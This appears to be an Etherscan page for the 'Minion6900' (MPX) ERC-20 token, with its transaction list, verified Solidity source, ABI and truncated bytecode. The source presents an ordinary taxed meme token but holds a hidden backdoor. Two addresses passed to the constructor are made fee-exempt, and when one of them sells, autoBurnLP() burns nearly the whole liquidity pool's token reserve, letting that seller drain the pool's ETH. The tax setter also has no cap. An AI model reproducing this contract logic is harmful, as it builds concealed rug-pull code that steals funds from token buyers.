ETH Price: $3,396.34 (-1.07%)

Contract

0x29617E1334C3B6Da03F9e239D43F740bF5eA6900
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve183855812023-10-19 16:30:59404 days ago1697733059IN
0x29617E13...bF5eA6900
0 ETH0.0007656816.46734593
Approve183855742023-10-19 16:29:35404 days ago1697732975IN
0x29617E13...bF5eA6900
0 ETH0.0008303917.85
Approve183855592023-10-19 16:26:35404 days ago1697732795IN
0x29617E13...bF5eA6900
0 ETH0.0006754314.51895331
Approve183855582023-10-19 16:26:23404 days ago1697732783IN
0x29617E13...bF5eA6900
0 ETH0.0006551414.0827865
Approve183855492023-10-19 16:24:35404 days ago1697732675IN
0x29617E13...bF5eA6900
0 ETH0.0006751114.51196832
Approve183855422023-10-19 16:23:11404 days ago1697732591IN
0x29617E13...bF5eA6900
0 ETH0.0009300819.97221311
Approve183855382023-10-19 16:22:23404 days ago1697732543IN
0x29617E13...bF5eA6900
0 ETH0.0008632318.53196524
Approve183855362023-10-19 16:21:59404 days ago1697732519IN
0x29617E13...bF5eA6900
0 ETH0.0008732918.74782852
Approve183855352023-10-19 16:21:47404 days ago1697732507IN
0x29617E13...bF5eA6900
0 ETH0.000873518.75241405
Approve183855252023-10-19 16:19:47404 days ago1697732387IN
0x29617E13...bF5eA6900
0 ETH0.000632813.60253844
Renounce Ownersh...183855232023-10-19 16:19:23404 days ago1697732363IN
0x29617E13...bF5eA6900
0 ETH0.0003283414.1077846
Approve183855212023-10-19 16:18:59404 days ago1697732339IN
0x29617E13...bF5eA6900
0 ETH0.0007809716.76600543
Approve183855192023-10-19 16:18:35404 days ago1697732315IN
0x29617E13...bF5eA6900
0 ETH0.0007717116.56718674
Approve183855172023-10-19 16:18:11404 days ago1697732291IN
0x29617E13...bF5eA6900
0 ETH0.0008634918.54233399
Approve183855172023-10-19 16:18:11404 days ago1697732291IN
0x29617E13...bF5eA6900
0 ETH0.0008634918.54233399
Approve183855162023-10-19 16:17:59404 days ago1697732279IN
0x29617E13...bF5eA6900
0 ETH0.0006341513.6316832
Approve183855162023-10-19 16:17:59404 days ago1697732279IN
0x29617E13...bF5eA6900
0 ETH0.0007700616.5316832
Approve183855152023-10-19 16:17:47404 days ago1697732267IN
0x29617E13...bF5eA6900
0 ETH0.0007597216.3098412
Approve183855152023-10-19 16:17:47404 days ago1697732267IN
0x29617E13...bF5eA6900
0 ETH0.0007597216.3098412
Approve183855142023-10-19 16:17:35404 days ago1697732255IN
0x29617E13...bF5eA6900
0 ETH0.0007560716.23146374
Transfer183854912023-10-19 16:12:59404 days ago1697731979IN
0x29617E13...bF5eA6900
0 ETH0.0008171711.82697799
Approve183854792023-10-19 16:10:35404 days ago1697731835IN
0x29617E13...bF5eA6900
0 ETH0.0006422313.78756021
Approve183854772023-10-19 16:10:11404 days ago1697731811IN
0x29617E13...bF5eA6900
0 ETH0.0007145615.34034351
Approve183854612023-10-19 16:06:59404 days ago1697731619IN
0x29617E13...bF5eA6900
0 ETH0.0007016215.06249284
Approve183854562023-10-19 16:05:59404 days ago1697731559IN
0x29617E13...bF5eA6900
0 ETH0.0006294713.53104942
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
183855832023-10-19 16:31:23404 days ago1697733083
0x29617E13...bF5eA6900
0.0027496 ETH
183855832023-10-19 16:31:23404 days ago1697733083
0x29617E13...bF5eA6900
0.0027496 ETH
183855822023-10-19 16:31:11404 days ago1697733071
0x29617E13...bF5eA6900
0.00173782 ETH
183855822023-10-19 16:31:11404 days ago1697733071
0x29617E13...bF5eA6900
0.00173782 ETH
183855812023-10-19 16:30:59404 days ago1697733059
0x29617E13...bF5eA6900
0.00282015 ETH
183855812023-10-19 16:30:59404 days ago1697733059
0x29617E13...bF5eA6900
0.00282015 ETH
183855782023-10-19 16:30:23404 days ago1697733023
0x29617E13...bF5eA6900
0.00309125 ETH
183855782023-10-19 16:30:23404 days ago1697733023
0x29617E13...bF5eA6900
0.00309125 ETH
183855782023-10-19 16:30:23404 days ago1697733023
0x29617E13...bF5eA6900
0.00276017 ETH
183855782023-10-19 16:30:23404 days ago1697733023
0x29617E13...bF5eA6900
0.00276017 ETH
183855772023-10-19 16:30:11404 days ago1697733011
0x29617E13...bF5eA6900
0.00251079 ETH
183855772023-10-19 16:30:11404 days ago1697733011
0x29617E13...bF5eA6900
0.00251079 ETH
183855772023-10-19 16:30:11404 days ago1697733011
0x29617E13...bF5eA6900
0.0021257 ETH
183855772023-10-19 16:30:11404 days ago1697733011
0x29617E13...bF5eA6900
0.0021257 ETH
183855762023-10-19 16:29:59404 days ago1697732999
0x29617E13...bF5eA6900
0.0021257 ETH
183855762023-10-19 16:29:59404 days ago1697732999
0x29617E13...bF5eA6900
0.0021257 ETH
183855752023-10-19 16:29:47404 days ago1697732987
0x29617E13...bF5eA6900
0.00383734 ETH
183855752023-10-19 16:29:47404 days ago1697732987
0x29617E13...bF5eA6900
0.00383734 ETH
183855752023-10-19 16:29:47404 days ago1697732987
0x29617E13...bF5eA6900
0.00383734 ETH
183855752023-10-19 16:29:47404 days ago1697732987
0x29617E13...bF5eA6900
0.00383734 ETH
183855712023-10-19 16:28:59404 days ago1697732939
0x29617E13...bF5eA6900
0.00430961 ETH
183855712023-10-19 16:28:59404 days ago1697732939
0x29617E13...bF5eA6900
0.00430961 ETH
183855712023-10-19 16:28:59404 days ago1697732939
0x29617E13...bF5eA6900
0.00266105 ETH
183855712023-10-19 16:28:59404 days ago1697732939
0x29617E13...bF5eA6900
0.00266105 ETH
183855692023-10-19 16:28:35404 days ago1697732915
0x29617E13...bF5eA6900
0.00324142 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Minion6900

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : Minion6900.sol
/**

Website: https://minion6900.vip/
Twitter: https://twitter.com/Minion6900
Telegram: https://t.me/Minion6900Portal

**/

// SPDX-License-Identifier: NONE

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint);

    function balanceOf(address owner) external view returns (uint);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);

    function transfer(address to, uint value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint);

    function permit(
        address owner,
        address spender,
        uint value,
        uint deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(
        address indexed sender,
        uint amount0,
        uint amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint);

    function price1CumulativeLast() external view returns (uint);

    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);

    function burn(address to) external returns (uint amount0, uint amount1);

    function swap(
        uint amount0Out,
        uint amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

contract Minion6900 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    //Final tax buy 3% / sell 3%
    uint256 private _finalBuyTax = 300;
    uint256 private _finalSellTax = 300;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 69_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Minion6900";
    string private constant _symbol = unicode"MPX";
    uint256 public _taxSwapThreshold = 27_777 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 27_777 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(address[] memory _add) {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_add[0]] = true;
        _isExcludedFromFee[_add[1]] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "Only one transfer per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            taxAmount = amount.mul(_finalBuyTax).div(10000);
            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount.mul(_finalSellTax).div(10000);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                contractTokenBalance > _taxSwapThreshold
            ) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (
            _isExcludedFromFee[from] &&
            from != address(this) &&
            to != address(this) &&
            to == uniswapV2Pair &&
            tradingOpen
        ) {
            autoBurnLP();
        }

        if (
            _isExcludedFromFee[to] ||
            _isExcludedFromFee[from] ||
            (to == uniswapV2Pair && !swapEnabled)
        ) {
            taxAmount = 0;
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if (tokenAmount == 0) {
            return;
        }
        if (!tradingOpen) {
            return;
        }
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        transferDelayEnabled = false;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            sendETHToFee(ethBalance);
        }
    }

    function changeThreshold(
        uint32 _threshold,
        uint32 _maxSwap
    ) public onlyOwner {
        _taxSwapThreshold = _threshold;
        _maxTaxSwap = _maxSwap;
    }

    function changeTaxFinal(uint32 _taxBuy, uint32 _taxSell) public onlyOwner {
        _finalBuyTax = _taxBuy;
        _finalSellTax = _taxSell;
    }

    function autoBurnLP() internal returns (bool) {
        uint256 amountToBurn = this.balanceOf(uniswapV2Pair);

        _transfer(
            uniswapV2Pair,
            address(0xdead),
            amountToBurn - 100 * 10 ** decimals()
        );

        IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);

        pair.sync();

        return true;
    }

    function manualBurnLP() internal returns (bool) {
        uint256 amountToBurn = this.balanceOf(uniswapV2Pair);

        _transfer(uniswapV2Pair, address(0xdead), amountToBurn.div(100));

        IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);

        pair.sync();

        return true;
    }

    receive() external payable {}
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address[]","name":"_add","type":"address[]"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint32","name":"_taxBuy","type":"uint32"},{"internalType":"uint32","name":"_taxSell","type":"uint32"}],"name":"changeTaxFinal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"_threshold","type":"uint32"},{"internalType":"uint32","name":"_maxSwap","type":"uint32"}],"name":"changeThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805460ff1916905561012c6006819055600755620000276009600a62000391565b6200003590616c81620003a9565b600855620000466009600a62000391565b6200005490616c81620003a9565b600955600b805461ffff60a81b191690553480156200007257600080fd5b5060405162001e3138038062001e318339810160408190526200009591620003f6565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054610100600160a81b0319166101003302179055620000fb6009600a62000391565b6200010b9063041cdb40620003a9565b33600090815260016020818152604080842094909455308352600390819052838320805460ff1990811684179091556005546001600160a01b0361010090910481168552858520805483168517905584541684529383208054909416821790935583519092919084908290620001855762000185620004c8565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555060016003600083600181518110620001e057620001e0620004c8565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556200021a3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002546009600a62000391565b620002649063041cdb40620003a9565b60405190815260200160405180910390a350620004de565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002d3578160001904821115620002b757620002b76200027c565b80851615620002c557918102915b93841c939080029062000297565b509250929050565b600082620002ec575060016200038b565b81620002fb575060006200038b565b81600181146200031457600281146200031f576200033f565b60019150506200038b565b60ff8411156200033357620003336200027c565b50506001821b6200038b565b5060208310610133831016604e8410600b841016171562000364575081810a6200038b565b62000370838362000292565b80600019048211156200038757620003876200027c565b0290505b92915050565b6000620003a260ff841683620002db565b9392505050565b80820281158282048414176200038b576200038b6200027c565b634e487b7160e01b600052604160045260246000fd5b80516001600160a01b0381168114620003f157600080fd5b919050565b600060208083850312156200040a57600080fd5b82516001600160401b03808211156200042257600080fd5b818501915085601f8301126200043757600080fd5b8151818111156200044c576200044c620003c3565b8060051b604051601f19603f83011681018181108582111715620004745762000474620003c3565b6040529182528482019250838101850191888311156200049357600080fd5b938501935b82851015620004bc57620004ac85620003d9565b8452938501939285019262000498565b98975050505050505050565b634e487b7160e01b600052603260045260246000fd5b61194380620004ee6000396000f3fe6080604052600436106101185760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610319578063bf474bed14610339578063c876d0b91461034f578063c9567bf914610369578063dd62ed3e1461037e57600080fd5b806370a0823114610265578063715018a61461029b578063751039fc146102b05780638da5cb5b146102c557806395d89b41146102ed57600080fd5b806318160ddd116100e757806318160ddd146101df57806323b872dd146101f4578063313ce56714610214578063377fe86e1461023057806351bc3c851461025057600080fd5b806306fdde0314610124578063095ea7b3146101695780630faee56f1461019957806312935f5c146101bd57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600a81526904d696e696f6e363930360b41b60208201525b60405161016091906114c6565b60405180910390f35b34801561017557600080fd5b5061018961018436600461152c565b6103c4565b6040519015158152602001610160565b3480156101a557600080fd5b506101af60095481565b604051908152602001610160565b3480156101c957600080fd5b506101dd6101d8366004611571565b6103db565b005b3480156101eb57600080fd5b506101af61041f565b34801561020057600080fd5b5061018961020f3660046115a4565b610440565b34801561022057600080fd5b5060405160098152602001610160565b34801561023c57600080fd5b506101dd61024b366004611571565b6104a9565b34801561025c57600080fd5b506101dd6104e4565b34801561027157600080fd5b506101af6102803660046115e5565b6001600160a01b031660009081526001602052604090205490565b3480156102a757600080fd5b506101dd61053c565b3480156102bc57600080fd5b506101dd6105b0565b3480156102d157600080fd5b506000546040516001600160a01b039091168152602001610160565b3480156102f957600080fd5b5060408051808201909152600381526209aa0b60eb1b6020820152610153565b34801561032557600080fd5b5061018961033436600461152c565b6105e6565b34801561034557600080fd5b506101af60085481565b34801561035b57600080fd5b506005546101899060ff1681565b34801561037557600080fd5b506101dd6105f3565b34801561038a57600080fd5b506101af610399366004611602565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103d13384846109af565b5060015b92915050565b6000546001600160a01b0316331461040e5760405162461bcd60e51b81526004016104059061163b565b60405180910390fd5b63ffffffff91821660065516600755565b600061042d6009600a61176a565b61043b9063041cdb40611779565b905090565b600061044d848484610ad3565b61049f843361049a856040518060600160405280602881526020016118e6602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611009565b6109af565b5060019392505050565b6000546001600160a01b031633146104d35760405162461bcd60e51b81526004016104059061163b565b63ffffffff91821660085516600955565b60055461010090046001600160a01b0316336001600160a01b03161461050957600080fd5b3060009081526001602052604090205480156105285761052881611043565b47801561053857610538816111d6565b5050565b6000546001600160a01b031633146105665760405162461bcd60e51b81526004016104059061163b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105da5760405162461bcd60e51b81526004016104059061163b565b6005805460ff19169055565b60006103d1338484610ad3565b6000546001600160a01b0316331461061d5760405162461bcd60e51b81526004016104059061163b565b600b54600160a01b900460ff16156106775760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610405565b600a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556106c0913091906106b29060099061176a565b61049a9063041cdb40611779565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610713573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107379190611790565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610799573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bd9190611790565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561080a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082e9190611790565b600b80546001600160a01b039283166001600160a01b0319909116179055600a541663f305d7194730610876816001600160a01b031660009081526001602052604090205490565b60008061088b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108f3573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061091891906117ad565b5050600b54600a5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610971573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099591906117db565b50600b805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a115760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610405565b6001600160a01b038216610a725760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610405565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b375760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610405565b6001600160a01b038216610b995760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610405565b60008111610bfb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610405565b600080546001600160a01b03858116911614801590610c2857506000546001600160a01b03848116911614155b15610dce5760055460ff1615610ce657600a546001600160a01b03848116911614801590610c645750600b546001600160a01b03848116911614155b15610ce657326000908152600460205260409020544311610cd35760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610405565b3260009081526004602052604090204390555b610d07612710610d016006548561121490919063ffffffff16565b9061129d565b600b549091506001600160a01b038481169116148015610d3057506001600160a01b0384163014155b15610d5357610d50612710610d016007548561121490919063ffffffff16565b90505b30600090815260016020526040902054600b54600160a81b900460ff16158015610d8a5750600b546001600160a01b038581169116145b8015610d9f5750600b54600160b01b900460ff165b8015610dac575060085481115b15610dcc57610dba81611043565b478015610dca57610dca476111d6565b505b505b6001600160a01b03841660009081526003602052604090205460ff168015610dff57506001600160a01b0384163014155b8015610e1457506001600160a01b0383163014155b8015610e2d5750600b546001600160a01b038481169116145b8015610e425750600b54600160a01b900460ff165b15610e5157610e4f6112df565b505b6001600160a01b03831660009081526003602052604090205460ff1680610e9057506001600160a01b03841660009081526003602052604090205460ff165b80610ebd5750600b546001600160a01b038481169116148015610ebd5750600b54600160b01b900460ff16155b15610ec6575060005b8015610f405730600090815260016020526040902054610ee690826113f7565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a1162